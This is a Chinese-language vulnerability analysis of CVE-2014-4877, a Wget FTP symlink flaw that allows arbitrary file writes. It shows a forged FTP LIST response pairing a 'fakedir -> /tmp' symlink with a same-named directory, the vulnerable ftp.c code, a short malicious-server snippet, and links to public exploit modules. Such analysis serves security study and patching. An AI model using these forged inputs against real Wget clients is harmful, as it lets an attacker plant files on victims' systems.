基本信息

应用名称

Wget

影响版本

Wget < 1.16

发布时间

2014-10-28

相关编号

CVE-2014-4877



漏洞分析

漏洞原理

wget ftp下载符号链接文件时(没开启retr-symlinks 选项),会在本身系统创建一个符号链接,当伪造
一个ftp 数据包中有的文件夹符号链接和一个同名文件夹并且真实文件夹中有子文件时,wget递归下载
时会把子文件下载到本地文件夹符号链接指向的地址。攻击者通过伪造ftp数据流可在目标任意目录中
创建文件、文件夹、连接符号,甚至设置权限、时间等属性。
当wget ftp客户端发送 LIST 指令时,返回如下数据:

1
2
lrwxrwxrwx   1 root     root           33 Oct 11  2013 fakedir -> /tmp
drwxrwxr-x 15 root root 4096 Oct 11 2013 fakedir

文件 wget-1.12\src\ftp.c 文件 1761 行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if (!opt.retr_symlinks) //判断是否开启retr-symlinks 选项
{
...
{
#ifdef HAVE_SYMLINK
if (!f->linkto)
logputs (LOG_NOTQUIET,
_("Invalid name of the symlink, skipping.\n"));
else
{
.......
if (symlink (f->linkto, con->target) == -1) // 本地建立文件符号链接
logprintf (LOG_NOTQUIET, "symlink: %s\n", strerror (errno));
logputs (LOG_VERBOSE, "\n");
} /* have f->linkto */
#else /* not HAVE_SYMLINK */

如上代码,wget 会通过symlink 在本地创建链接文件,指向数据包中链接的地址。当使用 -m/–mirror/-r
选项时,递归去获取同名文件夹 fakedir 里面的文件,由于本地的fakedir 文件为符号链接,所以ftp 服务器
中的同名fakedir 文件夹子层下面的都会被下载到链接文件指向的地址。
wget 发送cwd 指令进入fakedir 在发送 LIST 指令。此时可以伪造一个恶意文件或者目录比如:

1
-rwx------ 1 root root 21 Aug 29 2013 pwned

wget RETR 指令下载pwned 文件,返回文件内容(二进制或者文本)即可。如以下Python代码:

1
2
3
4
5
6
7
f = open("1.txt", "r")
data = f.read(8192)
f.close()
self.data_fd.send(data)
self.data_fd.close()
self.data_fd = 0
self.message(226, "ok")

漏洞利用

1:Metasploit wget_symlink_file_write 模块
https://github.com/hmoore-r7/metasploit-framework/blob/R7-2014-15-wget/modules/auxiliary/server/wget_symlink_file_write.rb

2:Python socket 版 wget-symlink_attack_exploit.py
https://github.com/yaseng/pentest/blob/master/exploit/wget-symlink_attack_exploit.py

漏洞演示

运行 wget-symlink_attack_exploit.py
wget -m ftp://127.0.0.1
效果如下图